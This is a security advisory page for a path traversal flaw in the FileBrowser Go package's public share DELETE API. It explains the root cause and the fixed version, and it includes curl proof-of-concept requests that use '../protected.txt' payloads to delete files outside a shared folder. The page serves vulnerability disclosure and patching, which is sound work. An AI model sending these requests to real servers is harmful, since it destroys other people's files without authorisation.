CriticalGHSA-fwj3-42wh-8673CVE-2026-44542GO-2026-5383

FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion

Published 7 May 2026 · Updated 25 Jun 2026

Is your project on an affected github.com/gtsteffaniak/filebrowser?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Go apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected package

Affected
<0.0.0-20260501183844-112740bdd41d
Fixed in
0.0.0-20260501183844-112740bdd41d
Update to the fixed version for your release line, for example:go get github.com/gtsteffaniak/filebrowser@v0.0.0-20260501183844-112740bdd41d

Details

Summary

Attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.

Affected Components

Two distinct vulnerable code paths:

1. Stable versions (e.g., gtstef/filebrowser:stable) DELETE /public/api/resources?hash=<hash>&path=../victim Root cause: middleware.go:111 Issue: path query parameter is joined before SanitizeUserPath() 2. Development / HEAD (e.g., commit eabdfd9) DELETE /public/api/resources/bulk?hash=<hash> Body: [{"path":"../victim"}] Root cause: resource.go:274 Issue: item.Path is joined before SanitizeUserPath()

Steps to reproduce (Stable Version)

1. Create a directory structure:

/folder/shared_subdir/   (shared)
/folder/protected.txt    (outside shared directory)

2. Create a public share:

Path: /shared_subdir
AllowDelete=true

3. Send request:

curl -X DELETE "http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt"

#Observe:
#protected.txt is deleted despite being outside the shared directory

Proof of Concept (HEAD / bulk endpoint)

curl -X DELETE "http://localhost/public/api/resources/bulk?hash=<HASH>" \
  -H "Content-Type: application/json" \
  -d '[{"path":"../protected.txt"}]'

Alternative PoC Scripts:

poc_v3.sh (If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.)

Impact

An unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner’s storage scope. This results in unauthorized data loss and potential service disruption.

Is GHSA-fwj3-42wh-8673 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/gtsteffaniak/filebrowser, and gives you the command that fixes it.

More advisories for github.com/gtsteffaniak/filebrowser

  • LowGO-2026-5776FileBrowser: Missing Rate Limiting on Authentication Endpoint Enables Brute Force Attacks in github.com/gtsteffaniak/filebrowser · 25 Jun 2026
  • LowGO-2026-5511FileBrowser Vulnerable to Stored XSS via SVG File in Public Share (Missing CSP Header) in github.com/gtsteffaniak/filebrowser · 25 Jun 2026
  • LowCVE-2026-46410FileBrowser Quantum: unauthenticated user share share info in github.com/gtsteffaniak/filebrowser · 25 Jun 2026
  • MediumGHSA-r4v7-6wcg-ghj5FileBrowser: Missing Rate Limiting on Authentication Endpoint Enables Brute Force Attacks · 25 Jun 2026
  • HighCVE-2026-46410FileBrowser Quantum: unauthenticated user share share info · 19 May 2026
  • MediumGHSA-mmpx-jh39-wrv6FileBrowser Vulnerable to Stored XSS via SVG File in Public Share (Missing CSP Header) · 7 May 2026
All 9 advisories for github.com/gtsteffaniak/filebrowser

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.